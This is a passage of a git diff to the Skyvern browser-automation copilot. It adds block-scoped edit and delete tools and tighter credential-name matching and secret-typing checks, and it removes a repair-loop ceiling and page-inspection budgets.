aria_label = _schema_text(_attr_value(control, "aria-label"), 120)
title = _schema_text(_attr_value(control, "title"), 120)
- explicit_values = {text.strip().lower(), aria_label.strip().lower(), title.strip().lower()}
- identity = f"{text} {aria_label} {title} {_modal_identity(control)}".lower()
- # Controls are typed as Any because BeautifulSoup is optional at import time.
- has_data_dismiss = hasattr(control, "has_attr") and control.has_attr("data-dismiss")
- has_symbol_hint = bool(explicit_values & _MODAL_DISMISS_SYMBOLS)
- has_text_hint = any(hint in identity for hint in _MODAL_DISMISS_HINTS)
- if not (has_data_dismiss or has_symbol_hint or has_text_hint):
- continue
seen_selectors.add(selector)
controls.append(
{
@@ -1966,7 +2019,7 @@ def parse_composition_html(html: str, *, inspected_url: str, current_url: str) -
if tag_name == "button" or field_type in {"submit", "button"}:
submit_controls.append(
{
- "text": _schema_text(_node_text(node) or str(node.get("value") or ""), 120),
+ "text": _schema_text(_control_label(node), 120),
"name": str(node.get("name") or "")[:120],
"id": str(node.get("id") or "")[:120],
"value": _attr_value(node, "value")[:160],
@@ -1986,6 +2039,8 @@ def parse_composition_html(html: str, *, inspected_url: str, current_url: str) -
"label": _schema_text(_field_label(soup, node), 240),
"type": field_type[:40],
"value": _attr_value(node, "value")[:160],
+ # Static HTML carries no live value, so this mirrors the attribute the parser can see.
+ "filled": bool(_attr_value(node, "value")),
"class": " ".join(_classes_for(node)[:5])[:160],
"placeholder": _schema_text(str(node.get("placeholder") or ""), 240),
"required": bool(
@@ -2149,6 +2204,7 @@ def _structured_form(form: Any) -> dict[str, Any] | None:
"label": _schema_text(_structured_str(node.get("label")), 240),
"type": field_type[:40],
"value": _structured_str(node.get("value")).strip()[:160],
+ "filled": node.get("filled") is True,
"class": _structured_classes(node.get("class")),
"placeholder": _schema_text(_structured_str(node.get("placeholder")), 240),
"required": node.get("required") is True,
diff --git a/skyvern/forge/sdk/copilot/context.py b/skyvern/forge/sdk/copilot/context.py
index dff2adf0b..c8c7e395c 100644
--- a/skyvern/forge/sdk/copilot/context.py
+++ b/skyvern/forge/sdk/copilot/context.py
@@ -901,7 +901,6 @@ class CopilotContext(AgentContext):
last_frontier_fingerprint: str | None = None
last_failure_signature: str | None = None
repeated_failure_streak_count: int = 0
- last_repair_non_convergence_signature: str | None = None
consecutive_non_converging_repair_count: int = 0
# Unlike the progress-gated repair ceiling, this climbs even when every
# rejection is different; it resets only on an accepted persist.
diff --git a/skyvern/forge/sdk/copilot/diagnosis_repair_contract.py b/skyvern/forge/sdk/copilot/diagnosis_repair_contract.py
index 13b1e5d98..c36c581f4 100644
--- a/skyvern/forge/sdk/copilot/diagnosis_repair_contract.py
+++ b/skyvern/forge/sdk/copilot/diagnosis_repair_contract.py
@@ -110,7 +110,6 @@ class VerificationResult(StrictModel):
class RepairLoopState(StrictModel):
streak_token: str | None = None
consecutive_identical_repair_count: int = 0
- ceiling_reached: bool = False
class DiagnosisRepairContract(StrictModel):
@@ -142,7 +141,6 @@ class DiagnosisRepairContract(StrictModel):
"user_goal_satisfied": self.verification_result.user_goal_satisfied,
"completion_contract_satisfied": self.verification_result.completion_contract_satisfied,
"consecutive_identical_repair_count": self.repair_loop_state.consecutive_identical_repair_count,
- "ceiling_reached": self.repair_loop_state.ceiling_reached,
"streak_token": self.repair_loop_state.streak_token,
}
diff --git a/skyvern/forge/sdk/copilot/enforcement.py b/skyvern/forge/sdk/copilot/enforcement.py
index d434303c2..6e9c29924 100644
--- a/skyvern/forge/sdk/copilot/enforcement.py
+++ b/skyvern/forge/sdk/copilot/enforcement.py
@@ -34,7 +34,6 @@ from skyvern.forge.sdk.copilot.build_test_outcome import (
latest_recorded_build_test_outcome_repeated,
record_build_test_outcome,
recorded_outcome_from_authoring_repair_context,
- run_backed_repair_evidence_exists,
)
from skyvern.forge.sdk.copilot.challenge_evidence import composition_challenge_carrier
from skyvern.forge.sdk.copilot.code_block_synthesis import (
@@ -97,7 +96,6 @@ from skyvern.forge.sdk.copilot.context import (
)
from skyvern.forge.sdk.copilot.credential_pause import credential_pause_would_fire, maybe_credential_pause
from skyvern.forge.sdk.copilot.diagnosis_repair_contract import (
- DiagnosisRepairContract,
RepairLoopState,
RepairNextAction,
)
@@ -155,7 +153,6 @@ from skyvern.forge.sdk.copilot.tracing_setup import copilot_span
from skyvern.forge.sdk.copilot.turn_halt import (
blocker_signal_is_genuinely_terminal,
raise_if_turn_halt,
- stash_repair_ceiling_turn_halt,
stash_turn_halt_from_blocker_signal,
)
from skyvern.forge.sdk.copilot.turn_intent import RequiredContextKey, TurnIntent, TurnIntentMode
@@ -415,39 +412,6 @@ def _repair_loop_state(ctx: Any) -> RepairLoopState | None:
return state if isinstance(state, RepairLoopState) else None
-def _needs_repair_ceiling_halt(ctx: Any) -> bool:
- state = _repair_loop_state(ctx)
- return state is not None and state.ceiling_reached is True and run_backed_repair_evidence_exists(ctx)
-
-
-def repair_ceiling_stop_signal(
- ctx: Any,
- contract: DiagnosisRepairContract | None,
- config: CopilotConfig | None = None,
-) -> CopilotToolBlockerSignal:
- state = contract.repair_loop_state if isinstance(contract, DiagnosisRepairContract) else None
- count = state.consecutive_identical_repair_count if state is not None else 0
- evidence = loop_blocker_evidence_from_ctx(ctx)
- user_facing, _tiers = compose_loop_blocker_user_facing_reason(
- "repair_ceiling_reached", evidence, blocked_tool="update_and_run_blocks"
- )
- agent_steering = (
- f"This repair has made no verified progress across {count} attempts; "
- "stop retrying and report the recorded blocker from the preserved draft."
- )
- return CopilotToolBlockerSignal(
- blocker_kind="loop_detected",
- agent_steering_text=agent_steering,
- user_facing_reason=user_facing,
- recovery_hint="report_blocker_to_user",
- cleared_by_tools=frozenset(),
- preserves_workflow_draft=evidence.has_draft,
- renders_final_reply=True,
- internal_reason_code="repair_ceiling_reached",
- blocked_tool="update_and_run_blocks",
- )
-
-
def code_authoring_churn_stop_signal(ctx: Any) -> CopilotToolBlockerSignal:
count = _get_int(ctx, "code_authoring_guardrail_reject_count")
evidence = loop_blocker_evidence_from_ctx(ctx)
@@ -1661,19 +1625,6 @@ def _check_enforcement(
if built_unverified_repair_inert_context(ctx) or built_complete_without_evaluated_outcome(ctx):
raise CopilotBuiltUnverified()
- if _needs_repair_ceiling_halt(ctx):
- contract = getattr(ctx, "latest_diagnosis_repair_contract", None)
- state = _repair_loop_state(ctx)
- # Backstop: detection-time latch normally raises this above; catches a run-backed increment that bypassed it.
- signal = repair_ceiling_stop_signal(ctx, contract, config)
- stash_blocker_signal(ctx, signal)
- stash_repair_ceiling_turn_halt(
- ctx,
- signal,
- consecutive_identical_repair_count=(state.consecutive_identical_repair_count if state is not None else 0),
- )
- raise_if_turn_halt(ctx, verified=verified)
-
# A pending credential pause pre-empts every hygiene nudge below, not just
# the failed-test one: a credential-blocked update_and_run_blocks call
# satisfies post_update (test not run) and, when the diagnosis contract
diff --git a/skyvern/forge/sdk/copilot/request_policy.py b/skyvern/forge/sdk/copilot/request_policy.py
index 944bb326d..c792a955b 100644
--- a/skyvern/forge/sdk/copilot/request_policy.py
+++ b/skyvern/forge/sdk/copilot/request_policy.py
@@ -4404,6 +4404,41 @@ def _credential_name_candidates(user_message: str) -> list[str]:
return _exact_credential_name_candidates(user_message)
+_CREDENTIAL_NAME_MIN_DISTINCTIVE_LENGTH = 4
+
+
+def _explicit_login_action_asserted(user_message: str) -> bool:
+ """Whether the message asks for a login in its own words, ignoring phrasings that refuse one.
+
+ Shares the negation rule with saved-name matching, so "do not log in with prod" authorizes neither.
+ """
+ text = _credential_authority_text(user_message or "")
+ return any(
+ not _credential_reference_is_negated(text, match.start()) for match in _EXPLICIT_LOGIN_ACTION_RE.finditer(text)
+ )
+
+
+def _saved_credential_names_mentioned(user_message: str, credentials: list[Credential]) -> list[str]:
+ """Saved names a message states outright, e.g. "use skyvern-datadog to login".
+
+ The saved names are known, so match on them rather than on the prose around them.
+ """
+ text = _credential_authority_text(user_message or "")
+ mentioned: list[str] = []
+ for credential in credentials:
+ name = (credential.name or "").strip()
+ if len(name) < _CREDENTIAL_NAME_MIN_DISTINCTIVE_LENGTH or name.lower() in _CREDENTIAL_REFERENCE_STOPWORDS:
+ continue
+ for match in re.finditer(rf"(?<![A-Za-z0-9_.@:-]){re.escape(name)}(?![A-Za-z0-9_.@:-])", text, re.IGNORECASE):
+ if _credential_reference_is_negated(text, match.start()) or _credential_reference_is_unrelated_replacement(
+ text, match.start()
+ ):
+ continue
+ mentioned.append(name)
+ break
+ return _clean_list(mentioned)
+
+
def _explicit_credential_ids(user_message: str) -> list[str]:
text = _credential_authority_text(user_message or "")
explicit: list[str] = []
@@ -4832,10 +4867,21 @@ async def _resolve_credentials(
policy.allow_missing_credentials_in_draft = True
return
+ # `login_intent` is a classifier-authored hint that misses on runs where the model does not set
+ # it, so a message asking for a login in its own words must still count. A classifier that failed
+ # outright is a different case: a degraded turn never enumerates the org's saved credentials.
+ login_phrase_asserted = _explicit_login_action_asserted(user_message)
+ may_scan_saved_names = policy.login_intent or (policy.classifier_status != "fallback" and login_phrase_asserted)
name_candidates = _credential_name_candidates(user_message)
credentials: list[Credential] | None = None
- if name_candidates:
+ # Only a request that already asserts a login or credential intent may be matched against the
+ # org's saved names; without that gate an unrelated message would scan the credential list.
+ if not name_candidates and may_scan_saved_names:
credentials = await _load_credentials(organization_id)
+ name_candidates = _saved_credential_names_mentioned(user_message, credentials)
+ if name_candidates:
+ if credentials is None:
+ credentials = await _load_credentials(organization_id)
named_matches = _deduplicate_credentials(
[credential for credential in credentials if credential.name in name_candidates]
)
@@ -4895,7 +4941,7 @@ async def _resolve_credentials(
# A passwordless turn must not reach the URL credential tiers below: a host match there
# asks for a saved credential under a different reason, which is the same dead end.
current_turn_login_authorized = (
- policy.login_intent or bool(_EXPLICIT_LOGIN_ACTION_RE.search(user_message))
+ policy.login_intent or login_phrase_asserted
) and not _is_passwordless_email_signin(policy)
url_candidates: list[str] = []
allow_host_fallback = False
diff --git a/skyvern/forge/sdk/copilot/tools/__init__.py b/skyvern/forge/sdk/copilot/tools/__init__.py
index ee13459f4..7b7042ad1 100644
--- a/skyvern/forge/sdk/copilot/tools/__init__.py
+++ b/skyvern/forge/sdk/copilot/tools/__init__.py
@@ -36,7 +36,10 @@ from skyvern.forge.sdk.copilot.output_utils import (
from skyvern.forge.sdk.copilot.screenshot_utils import enqueue_screenshot_from_result
from skyvern.forge.sdk.copilot.secret_scrub import scrub_secrets_from_structure
from skyvern.forge.sdk.copilot.tracing_setup import copilot_span
+from skyvern.forge.sdk.copilot.workflow_yaml import BlockEditError
from skyvern.forge.sdk.copilot.workflow_yaml import _process_workflow_yaml as _process_workflow_yaml
+from skyvern.forge.sdk.copilot.workflow_yaml import apply_block_edit, delete_block_from_workflow
+from skyvern.utils.yaml_loader import safe_load_no_dates
from ._shared import _COMPOSITION_STRIPPED_HTML_MAX_CHARS as _COMPOSITION_STRIPPED_HTML_MAX_CHARS
from ._shared import _CONSECUTIVE_LOOP_GUARD_EXEMPT_TOOLS as _CONSECUTIVE_LOOP_GUARD_EXEMPT_TOOLS
@@ -88,8 +91,6 @@ from .completion import _outcome_unverified_reason as _outcome_unverified_reason
from .completion import (
_tool_visible_result_after_completion_verification,
)
-from .composition_capture import _COMPOSITION_INSPECTION_PER_CHAT_BUDGET as _COMPOSITION_INSPECTION_PER_CHAT_BUDGET
-from .composition_capture import _COMPOSITION_INSPECTION_PER_TURN_BUDGET as _COMPOSITION_INSPECTION_PER_TURN_BUDGET
from .composition_capture import (
_active_run_terminal_evidence_needs_visual_fallback as _active_run_terminal_evidence_needs_visual_fallback,
)
@@ -168,6 +169,7 @@ from .mcp_hooks import _click_post_hook as _click_post_hook
from .mcp_hooks import _click_pre_hook as _click_pre_hook
from .mcp_hooks import (
_code_only_pre_run_results_error,
+ _demonstrated_step_sources,
)
from .mcp_hooks import _evaluate_post_hook as _evaluate_post_hook
from .mcp_hooks import _get_block_schema_post_hook as _get_block_schema_post_hook
@@ -342,6 +344,157 @@ async def update_workflow_tool(
return json.dumps(sanitized)
+async def _persist_block_scoped_edit(copilot_ctx: Any, tool_name: str, workflow_yaml: str, arguments: dict) -> str:
+ """Send a server-composed workflow through the normal persistence path.
+
+ The model never sends the whole workflow, but the saved result still goes through every
+ author-time check, so a block edit cannot slip past what a full submission must satisfy.
+ """
+ prior_definition = await _get_prior_workflow_definition(copilot_ctx)
+ with copilot_span(tool_name, data={"yaml_length": len(workflow_yaml)}):
+ result = await _update_workflow({"workflow_yaml": workflow_yaml}, copilot_ctx)
+ _record_workflow_update_result(copilot_ctx, result, prior_definition)
+ record_tool_step_result_for_ctx(copilot_ctx, tool_name, arguments, result)
+ if result.get("ok") is False:
+ _record_diagnosis_repair_contract(copilot_ctx, source_tool=tool_name, result=result)
+ return json.dumps(sanitize_tool_result_for_llm(tool_name, result))
+
+
+def _stored_workflow_yaml(copilot_ctx: Any) -> str:
+ latest = getattr(copilot_ctx, "last_workflow_yaml", None)
+ if isinstance(latest, str) and latest.strip():
+ return latest
+ stored = getattr(copilot_ctx, "workflow_yaml", None)
+ return stored if isinstance(stored, str) else ""
+
+
+def _submission_only_changes_existing_blocks(copilot_ctx: Any, workflow_yaml: str) -> bool:
+ """Whether a whole-workflow submission changes nothing structural.
+
+ Same labels in, same labels out means the model is editing block contents through a tool that
+ re-sends every block. Adding or removing a block is structural and still needs the whole
+ workflow, since edit_block only reaches blocks that already exist.
+ """
+ stored = _stored_workflow_yaml(copilot_ctx)
+ if not stored.strip() or not workflow_yaml.strip():
+ return False
+ try:
+ before = safe_load_no_dates(stored)
+ after = safe_load_no_dates(workflow_yaml)
+ except Exception:
+ return False
+
+ def labels(parsed: Any) -> set[str] | None:
+ if not isinstance(parsed, dict):
+ return None
+ definition = parsed.get("workflow_definition")
+ if not isinstance(definition, dict):
+ return None
+ blocks = definition.get("blocks")
+ if not isinstance(blocks, list):
+ return None
+ return {str(b.get("label") or "") for b in blocks if isinstance(b, dict)}
+
+ before_labels, after_labels = labels(before), labels(after)
+ if before_labels is None or after_labels is None or not after_labels:
+ return False
+ return before_labels == after_labels
+
+
+@function_tool(name_override="edit_block", strict_mode=False)
+async def edit_block_tool(
+ ctx: RunContextWrapper,
+ label: str,
+ expected_code: str | None = None,
+ replacement_code: str | None = None,
+ fields: dict[str, Any] | None = None,
+) -> str:
+ """Change one block, leaving every other block exactly as it is.
+
+ Prefer this over update_and_run_blocks whenever you are changing an existing block: you send only
+ the change, so a block that already works cannot be disturbed and the workflow is not retyped.
+
+ For a `code` block, pass `expected_code` (a snippet of its current code, unique within that block)
+ and `replacement_code`. The edit is rejected if the snippet is missing or appears more than once,
+ which is how an edit written against a stale copy of the block fails instead of overwriting newer
+ code. Read the block first if you are unsure what it currently contains.
+
+ For other settings, pass `fields` with just the keys to change (e.g. a navigation goal or url).
+
+ To remove a block use delete_block. Omitting a block here never deletes it.
+ """
+ copilot_ctx = ctx.context
+ arguments = {"label": label, "fields": fields, "has_code_edit": expected_code is not None}
+ loop_error = _tool_loop_error(copilot_ctx, "edit_block", arguments)
+ if loop_error:
+ return json.dumps({"ok": False, "error": loop_error})
+ authority_error = _authority_tool_error(copilot_ctx, "edit_block")
+ if authority_error:
+ return json.dumps({"ok": False, "error": authority_error})
+ try:
+ workflow_yaml = apply_block_edit(
+ _stored_workflow_yaml(copilot_ctx),
+ label,
+ expected_code=expected_code,
+ replacement_code=replacement_code,
+ fields=fields,
+ )
+ except BlockEditError as exc:
+ result = {"ok": False, "error": str(exc)}
+ record_tool_step_result_for_ctx(copilot_ctx, "edit_block", arguments, result)
+ return json.dumps(result)
+ return await _persist_block_scoped_edit(copilot_ctx, "edit_block", workflow_yaml, arguments)
+
+
+@function_tool(name_override="delete_block")
+async def delete_block_tool(ctx: RunContextWrapper, label: str) -> str:
+ """Remove one block from the workflow by label.
+
+ Deleting is an explicit action: leaving a block out of a workflow you send elsewhere does not
+ remove it. Any block that pointed at this one as its next step is unlinked.
+ """
+ copilot_ctx = ctx.context
+ arguments = {"label": label}
+ loop_error = _tool_loop_error(copilot_ctx, "delete_block", arguments)
+ if loop_error:
+ return json.dumps({"ok": False, "error": loop_error})
+ authority_error = _authority_tool_error(copilot_ctx, "delete_block")
+ if authority_error:
+ return json.dumps({"ok": False, "error": authority_error})
+ try:
+ workflow_yaml = delete_block_from_workflow(_stored_workflow_yaml(copilot_ctx), label)
+ except BlockEditError as exc:
+ result = {"ok": False, "error": str(exc)}
+ record_tool_step_result_for_ctx(copilot_ctx, "delete_block", arguments, result)
+ return json.dumps(result)
+ return await _persist_block_scoped_edit(copilot_ctx, "delete_block", workflow_yaml, arguments)
+
+
+@function_tool(name_override="synthesize_demonstrated_block")
+async def synthesize_demonstrated_block_tool(ctx: RunContextWrapper) -> str:
+ """Return code-block source built from the steps you already performed in the browser.
+
+ This is compiled from your recorded interactions, so it reflects what actually happened rather
+ than what you remember doing. Use it as the body of a code block instead of writing the steps
+ again from memory, and edit it if the block needs to do more.
+ """
+ copilot_ctx = ctx.context
+ arguments: dict[str, Any] = {}
+ loop_error = _tool_loop_error(copilot_ctx, "synthesize_demonstrated_block", arguments)
+ if loop_error:
+ return json.dumps({"ok": False, "error": loop_error})
+ source = _demonstrated_step_sources(copilot_ctx)
+ if not source:
+ result = {
+ "ok": False,
+ "error": "Nothing has been demonstrated in the browser yet, so there are no steps to compile.",
+ }
+ else:
+ result = {"ok": True, "data": {"code": source}}
+ record_tool_step_result_for_ctx(copilot_ctx, "synthesize_demonstrated_block", arguments, result)
+ return json.dumps(result)
+
+
@function_tool(name_override="list_credentials")
async def list_credentials_tool(
ctx: RunContextWrapper,
@@ -528,6 +681,7 @@ async def update_and_run_blocks_tool(
"""Update the workflow YAML and immediately run the specified blocks in one step.
Use this instead of calling update_workflow and run_blocks_and_collect_debug separately.
The workflow must validate successfully before blocks are run.
+
`block_labels` may be a tested frontier subset of the full workflow YAML;
save the complete reusable workflow, then run only the next 1-2 unverified
blocks when a long form/search/result chain can be verified incrementally.
@@ -573,6 +727,20 @@ async def update_and_run_blocks_tool(
do not compose a click against a control observed as disabled.
"""
copilot_ctx = ctx.context
+ if _submission_only_changes_existing_blocks(copilot_ctx, workflow_yaml):
+ # Re-sending every block to change some of them is what disturbs a block that already works
+ # and grows the turn with each repair. Structural changes still come through here.
+ return json.dumps(
+ {
+ "ok": False,
+ "error": (
+ "This submission changes existing blocks without adding or removing any, so send just "
+ "the change: call edit_block once per block you are actually changing (or delete_block "
+ "to remove one), then run the affected blocks with run_blocks_and_collect_debug. Send a "
+ "whole workflow here only when the set of blocks itself changes."
+ ),
+ }
+ )
copilot_ctx.completion_verification_result = None
handler_start = time.monotonic()
serialized_code_artifact_metadata: object = _code_artifact_metadata_as_tool_argument(code_artifact_metadata)
@@ -854,6 +1022,9 @@ async def fill_credential_field_tool(
NATIVE_TOOLS = [
update_workflow_tool,
+ edit_block_tool,
+ delete_block_tool,
+ synthesize_demonstrated_block_tool,
list_credentials_tool,
run_blocks_tool,
get_run_results_tool,
diff --git a/skyvern/forge/sdk/copilot/tools/banned_blocks.py b/skyvern/forge/sdk/copilot/tools/banned_blocks.py
index 44114d409..0036e11c9 100644
--- a/skyvern/forge/sdk/copilot/tools/banned_blocks.py
+++ b/skyvern/forge/sdk/copilot/tools/banned_blocks.py
@@ -223,6 +223,7 @@ def _code_only_browser_schema_guidance() -> list[str]:
"Use concrete selectors and text anchors found during exploration. If only intent targeting is available, inspect the page again before mutating.",
_code_only_browser_validation_guidance(),
"Keep block outputs JSON-safe and include visible evidence text when extracting records, products, totals, confirmations, or identifiers.",
+ "Wait for the value the block returns, not for a URL or a navigation. A page reaches its final URL while it is still rendering, so a URL check passes before the value exists and a navigation wait fails on a page that has already arrived.",
"For saved credentials: bind the credential as a workflow parameter with workflow_parameter_type credential_id and the credential ID in default_value. At runtime the parameter key resolves to a credential object — read <key>.username and <key>.password, and use await <key>.otp() for authenticator, email, or SMS one-time codes. Never put literal secret values in code; scout credential fields with fill_credential_field.",
]
diff --git a/skyvern/forge/sdk/copilot/tools/composition_capture.py b/skyvern/forge/sdk/copilot/tools/composition_capture.py
index f059df799..8df90c980 100644
--- a/skyvern/forge/sdk/copilot/tools/composition_capture.py
+++ b/skyvern/forge/sdk/copilot/tools/composition_capture.py
@@ -4,7 +4,7 @@ import asyncio
import base64
import json
from dataclasses import dataclass
-from typing import Any, Literal
+from typing import Any
from urllib.parse import urlparse
import structlog
@@ -226,8 +226,6 @@ def _active_run_terminal_evidence_result(
}
-_COMPOSITION_INSPECTION_PER_CHAT_BUDGET = 6
-_COMPOSITION_INSPECTION_PER_TURN_BUDGET = 4
_COMPOSITION_VISUAL_SUMMARY_TIMEOUT_SECONDS = 10.0
_COMPOSITION_VISUAL_SUMMARY_PROMPT_NAME = "workflow-copilot-page-evidence-vision"
@@ -523,17 +521,6 @@ def _non_current_inspection_regression_error(copilot_ctx: Any, *, entry_url: str
}
-def _page_inspection_budget_error(copilot_ctx: Any, *, scope: Literal["turn", "chat"]) -> str:
- scope_label = "turn" if scope == "turn" else "chat"
- return (
- f"inspect_page_for_composition reached the page-inspection budget for this {scope_label}. "
- "This is not evidence that scouting is complete. Use evaluate, get_browser_screenshot, or a browser "
- "action on the current page to determine whether the goal is already satisfied, whether progress is still "
- "possible, or whether a real blocker exists. Do not author downstream result, extraction, or confirmation "
- "blocks unless the existing evidence already shows the page state those blocks will act on."
- )
-
-
_COMPOSITION_HOLLOW_RECAPTURE_RETRIES = 2
_COMPOSITION_HOLLOW_RECAPTURE_DELAY_SECONDS = 2.5
# The composition inspect navigates with `domcontentloaded`, so a heavier cap than
@@ -791,28 +778,10 @@ async def _inspect_page_for_composition_impl(
on_target_page = _same_inspect_target(live_url, entry_url)
inspect_target_url = live_url if on_target_page else entry_url
- if (
- not bypass_budget_for_post_run_current_page
- and copilot_ctx.page_inspection_calls_this_turn >= _COMPOSITION_INSPECTION_PER_TURN_BUDGET
- ):
- result = {
- "ok": False,
- "data": None,
- "error": _page_inspection_budget_error(copilot_ctx, scope="turn"),
- }
- record_tool_step_result_for_ctx(copilot_ctx, "inspect_page_for_composition", arguments, result)
- return result
-
- cumulative = copilot_ctx.prior_page_inspection_calls_made + copilot_ctx.page_inspection_calls_this_turn
- if not bypass_budget_for_post_run_current_page and cumulative >= _COMPOSITION_INSPECTION_PER_CHAT_BUDGET:
- result = {
- "ok": False,
- "data": None,
- "error": _page_inspection_budget_error(copilot_ctx, scope="chat"),
- }
- record_tool_step_result_for_ctx(copilot_ctx, "inspect_page_for_composition", arguments, result)
- return result
-
+ # Structured inspection is not rationed. Capping it sent the agent to hand-rolled `evaluate`
+ # probes once the budget ran out — on a heavy app that meant 22 small DOM reads in place of a
+ # handful of structured looks, and the turn's wall clock spent without understanding the page.
+ # The calls stay counted for telemetry.
evidence = None
html_error: str | None = None
with copilot_span(
diff --git a/skyvern/forge/sdk/copilot/tools/credential_fill.py b/skyvern/forge/sdk/copilot/tools/credential_fill.py
index 04dff9bd4..1775c6c9a 100644
--- a/skyvern/forge/sdk/copilot/tools/credential_fill.py
+++ b/skyvern/forge/sdk/copilot/tools/credential_fill.py
@@ -25,6 +25,8 @@ from .guardrails import _authority_tool_error
from .mcp_hooks import _verify_scout_type_landed
from .scouting import (
_capture_element_fingerprint,
+ _capture_enclosing_form_submits,
+ _capture_post_interaction_screenshot,
_capture_scout_source_url,
_clear_pending_browser_interaction_observation,
_consume_scout_source_url,
@@ -292,6 +294,10 @@ async def _fill_credential_field_impl(
"typed_length": len(value),
"url": url,
}
+ form_submits = await _capture_enclosing_form_submits(copilot_ctx, selector)
+ if form_submits:
+ data["form_submit_controls"] = form_submits
+ await _capture_post_interaction_screenshot(copilot_ctx)
result: dict[str, Any] = {"ok": True, "data": data}
if observation_step is not None:
result["observation_step"] = observation_step
diff --git a/skyvern/forge/sdk/copilot/tools/mcp_hooks.py b/skyvern/forge/sdk/copilot/tools/mcp_hooks.py
index fa7e88a5a..e28c57fde 100644
--- a/skyvern/forge/sdk/copilot/tools/mcp_hooks.py
+++ b/skyvern/forge/sdk/copilot/tools/mcp_hooks.py
@@ -14,6 +14,7 @@ from skyvern.forge.sdk.copilot.build_phase import (
BuildPhase,
advance_to_composing,
)
+from skyvern.forge.sdk.copilot.code_block_synthesis import synthesize_code_block
from skyvern.forge.sdk.copilot.composition_browser_expressions import scout_control_state_expression
from skyvern.forge.sdk.copilot.config import (
BlockAuthoringPolicy,
@@ -22,6 +23,7 @@ from skyvern.forge.sdk.copilot.config import (
from skyvern.forge.sdk.copilot.context import CopilotContext
from skyvern.forge.sdk.copilot.mcp_adapter import SchemaOverlay
from skyvern.forge.sdk.copilot.runtime import AgentContext
+from skyvern.forge.sdk.copilot.secret_scrub import registered_scrub_values
from skyvern.forge.sdk.copilot.typed_value_policy import safe_typed_default_value, should_reject_type_text_value
from ._shared import _DISCOVERY_PER_CALL_TIMEOUT_SECONDS, _composition_get_structured_evidence
@@ -46,6 +48,7 @@ from .scouting import (
_PRE_NAVIGATION_ROLE_NAME_TIMEOUT_SECONDS,
_actionable_targets_for_result,
_attach_scout_page_summary,
+ _capture_post_interaction_screenshot,
_capture_scout_ambiguity,
_capture_scout_dynamic_row,
_capture_scout_role_name,
@@ -205,9 +208,38 @@ async def _get_block_schema_post_hook(
ctx.code_only_code_schema_seen = True
data["code_only_note"] = _code_only_browser_unavailable_summary()
data["code_only_guidance"] = _code_only_browser_schema_guidance()
+ demonstrated = _demonstrated_step_sources(ctx)
+ if demonstrated:
+ data["demonstrated_steps"] = demonstrated
return result
+def _demonstrated_step_sources(ctx: AgentContext) -> str:
+ """The steps already performed on the page, synthesized into source to build from.
+
+ Invoked exactly as the post-authoring judge invokes it, so the agent reads the source its draft
+ will be compared against rather than a laxer variant of it.
+ """
+ if not ctx.scout_trajectory:
+ return ""
+ try:
+ synthesized = synthesize_code_block(
+ list(ctx.scout_trajectory),
+ strict_selectors=True,
+ reached_download_target=ctx.reached_download_target,
+ )
+ except Exception:
+ LOG.warning("copilot_demonstrated_steps_synthesis_failed", exc_info=True)
+ return ""
+ if synthesized is None:
+ return ""
+ if synthesized.diagnostics.truncated:
+ # Presenting a capped spine as the whole demonstration is how a step goes missing and comes
+ # back as a correction, which is the round-trip this exists to remove.
+ return f"{synthesized.code}\n# NOTE: trajectory truncated — later demonstrated steps are not shown above.\n"
+ return synthesized.code
+
+
def _code_only_pre_run_results_error(ctx: CopilotContext) -> dict[str, Any] | None:
if _copilot_block_authoring_policy(ctx) != BlockAuthoringPolicy.CODE_ONLY_BROWSER:
return None
@@ -345,12 +377,17 @@ async def _type_text_pre_hook(
text = params.get("text")
selector = str(params.get("selector") or "")
intent = str(params.get("intent") or "")
- if should_reject_type_text_value(value=text, selector=selector, intent=intent):
+ # A value already registered as a credential is known to be secret, so it is rejected on that
+ # fact rather than on whether it looks secret — a real password need not, and this one reached a
+ # plaintext username field because it did not.
+ typed_is_registered_secret = isinstance(text, str) and bool(text) and text in set(registered_scrub_values(ctx))
+ if typed_is_registered_secret or should_reject_type_text_value(value=text, selector=selector, intent=intent):
return {
"ok": False,
"error": (
"type_text cannot type raw credentials, secrets, OTP/TOTP codes, API keys, tokens, or "
- "password-like values. Use the saved credential flow instead of inline secret text."
+ "password-like values. Use fill_credential_field with the saved credential and the "
+ "field it belongs in, rather than typing the value into a field yourself."
),
}
if isinstance(text, str) and text:
@@ -395,10 +432,11 @@ async def _navigate_post_hook(
data = result.pop("data", {})
result["url"] = data.get("url", "")
result["next_step"] = (
- "Page loaded. You MUST now use evaluate, "
- "get_browser_screenshot, or click to inspect page content "
+ "Page loaded, and a screenshot of it is attached. Use evaluate or "
+ "inspect_page_for_composition when you need the page's structure or selectors "
"before responding."
)
+ await _capture_post_interaction_screenshot(ctx)
if (
_copilot_block_authoring_policy(ctx) == BlockAuthoringPolicy.CODE_ONLY_BROWSER
and isinstance(ctx, CopilotContext)
@@ -491,6 +529,7 @@ async def _click_post_hook(
await _attach_reperception_targets_on_non_advancing_click(result, raw, ctx, attempted_selector)
except Exception:
LOG.warning("copilot_click_reperception_attach_failed", exc_info=True)
+ await _capture_post_interaction_screenshot(ctx)
return result
@@ -682,6 +721,10 @@ async def _probe_scout_control_state(ctx: AgentContext, selector: str) -> tuple[
return bool(state.get("readonly")), bool(state.get("disabled"))
+def _significant_character_count(value: str) -> int:
+ return sum(1 for character in value if character.isalnum())
+
+
async def _verify_scout_type_landed(
ctx: AgentContext,
*,
@@ -722,6 +765,22 @@ async def _verify_scout_type_landed(
"the overlay is usually dismissed by that first interaction."
),
}
+ # A field holding more than was typed means the text joined a value already there — a re-render
+ # can move a selector onto a neighbouring input, so a second fill appends to the wrong field and
+ # leaves the intended one empty. Count only alphanumerics: a phone/card/date input that inserts
+ # its own separators grows past the typed length without anything having landed in the wrong
+ # field, and rejecting those would fail every auto-formatting form.
+ if isinstance(value, str) and _significant_character_count(value) > typed_length:
+ return {
+ "ok": False,
+ "error": (
+ f"type_text landed in a field that already held a value: {selector!r} now holds "
+ f"{_significant_character_count(value)} characters after typing {typed_length}. The selector "
+ "likely resolved to a different input than intended, leaving the target field empty. "
+ "Re-inspect the current page, confirm which input each value belongs in, clear the field, "
+ "and retry."
+ ),
+ }
return None
@@ -854,9 +913,31 @@ async def _evaluate_post_hook(
observed_data=data,
)
await _steer_evaluate_result(ctx, result, url=url)
+ await _widen_thin_evaluate_result(ctx, result, url=url)
return result
+_THIN_EVALUATE_RESULT_CHARS = 400
+
+
+async def _widen_thin_evaluate_result(ctx: AgentContext, result: dict[str, Any], *, url: str) -> None:
+ """Carry the page's visible text back when a read returned almost nothing.
+
+ A narrow read that lands on the wrong one of several similarly named elements comes back short
